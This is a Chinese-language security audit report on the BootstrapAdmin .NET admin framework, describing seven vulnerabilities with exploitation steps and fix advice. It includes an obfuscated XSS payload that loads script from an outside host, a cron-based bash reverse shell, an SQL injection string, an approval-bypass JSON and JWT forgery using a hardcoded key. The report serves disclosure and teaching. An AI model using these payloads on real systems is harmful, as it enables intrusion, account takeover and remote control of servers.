BootstrapAdmin .NET 代码审计报告与教学文档
0x00 概述
BootstrapAdmin 是一个基于 RBAC 的 .NET7 后台管理框架,曾获得 GVP 奖杯并拥有 1w+ Star。本报告详细分析了该框架的安全漏洞,包括 XSS、文件操作漏洞、SQL 注入、权限绕过等。
0x01 环境搭建
系统要求
- 操作系统:Windows 10/CentOS 7
- .NET SDK 版本:5.0.408
- 数据库:SQLite/MySQL 8
安装步骤
-
克隆项目:
git clone https://gitee.com/LongbowEnterprise/BootstrapAdmin.git -b v6.0.0 -
安装 .NET SDK(CentOS 7):
rpm -Uvh https://packages.microsoft.com/config/centos/7/packages-microsoft-prod.rpm yum install -y dotnet-sdk-5.0 git wget net-tools -
配置 Nginx 反向代理:
upstream ba { server localhost:50852; } server { listen 80; server_name localhost; location / { proxy_pass http://ba/; } } -
启动项目:
export DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1 nohup dotnet run --project ./src/mvc/admin/Bootstrap.Admin &
0x02 漏洞分析
1. 前台反射型XSS(无Cookie)
漏洞位置:
BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\HomeController.csBootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Views\Shared\Error.cshtml
漏洞描述:
错误页面中的返回链接未对 ReturnUrl 参数进行过滤,导致可注入 JavaScript 代码。
利用方式:
http://localhost:50852/Home/Error/404?ReturnUrl=
javascript:eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly94c3N5ZS5jb20vejNxVyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs='))
修复建议:
对 ReturnUrl 参数进行严格校验,禁止 javascript: 等危险协议。
2. 后台头像任意文件删除
权限要求:后台普通用户权限
漏洞位置:
BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\ProfilesController.cs
漏洞描述:
删除头像功能未对文件名进行校验,导致可通过路径遍历删除任意文件。
利用方式:
- 登录后台
- 上传头像后点击删除
- 拦截请求修改
key参数为\.don't_delete_me.txt
修复建议:
- 限制文件删除范围为头像目录
- 对文件名进行规范化处理
3. 后台头像任意文件上传
权限要求:后台普通用户权限
漏洞位置:
BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\ProfilesController.cs
漏洞描述:
- 通过修改字典中的头像路径设置实现目录穿越
- 上传文件时未校验文件内容和扩展名
利用方式(Linux):
- 修改字典表
~/var/spool/cron/ - 上传包含计划任务的文件:
* * * * * root bash -i >& /dev/tcp/192.168.68.1/6666 0>&1
修复建议:
- 限制上传文件类型
- 禁止修改上传目录到系统敏感位置
4. 前台越权添加账户
漏洞位置:
BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\RegisterController.cs
漏洞描述:
注册接口未校验 ApprovedTime 和 ApprovedBy 参数,导致可绕过管理员审核直接创建有效账户。
利用方式:
{
"UserName": "test",
"Password": "123456",
"DisplayName": "test",
"Description": "test",
"ApprovedTime": "2023-05-04 18:44:20.9316203",
"ApprovedBy": "system"
}
修复建议:
- 移除客户端可控的审核字段
- 强制新注册账户需要管理员审核
5. 前台任意重置密码
漏洞位置:
BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\RegisterController.cs
漏洞描述:
重置密码接口仅检查用户名是否存在,未验证请求者身份,导致可重置任意用户密码。
利用方式:
{
"Password": "123456"
}
修复建议:
- 增加验证码机制
- 要求提供原密码或验证邮箱/手机号
6. 多接口SQL注入漏洞
漏洞位置:
多个数据访问类文件,如:
BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Log.csBootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\DBLog.csBootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\LoginUser.cs
漏洞描述:
多个查询接口的 sort 和 order 参数直接拼接SQL语句,未使用参数化查询。
利用方式(示例):
/api/Logs?order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,
修复建议:
- 使用参数化查询
- 对排序字段使用白名单校验
7. 任意JWT伪造
漏洞位置:
BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Startup.cs
漏洞描述:
JWT密钥硬编码且未定期更换,导致可伪造任意用户身份令牌。
利用方式:
- 使用默认密钥
BootstrapAdmin-V1.1生成JWT - 在请求头中添加:
Authorization: Bearer [伪造的JWT]
修复建议:
- 使用强随机密钥
- 定期更换密钥
- 将密钥存储在安全配置中
0x03 安全开发建议
-
输入验证:
- 对所有用户输入进行严格校验
- 使用白名单而非黑名单机制
-
权限控制:
- 遵循最小权限原则
- 服务端校验所有权限
-
安全配置:
- 避免硬编码敏感信息
- 使用安全的默认配置
-
安全编码:
- 使用参数化查询防止SQL注入
- 对输出进行编码防止XSS
- 安全处理文件操作
-
日志监控:
- 记录安全相关事件
- 设置异常行为告警
0x04 总结
本报告详细分析了BootstrapAdmin框架中的多个安全漏洞,涵盖了从注入漏洞到权限问题的多个方面。通过修复这些漏洞,可以显著提高系统的安全性。建议开发团队定期进行安全审计,并建立安全开发生命周期(SDLC)流程。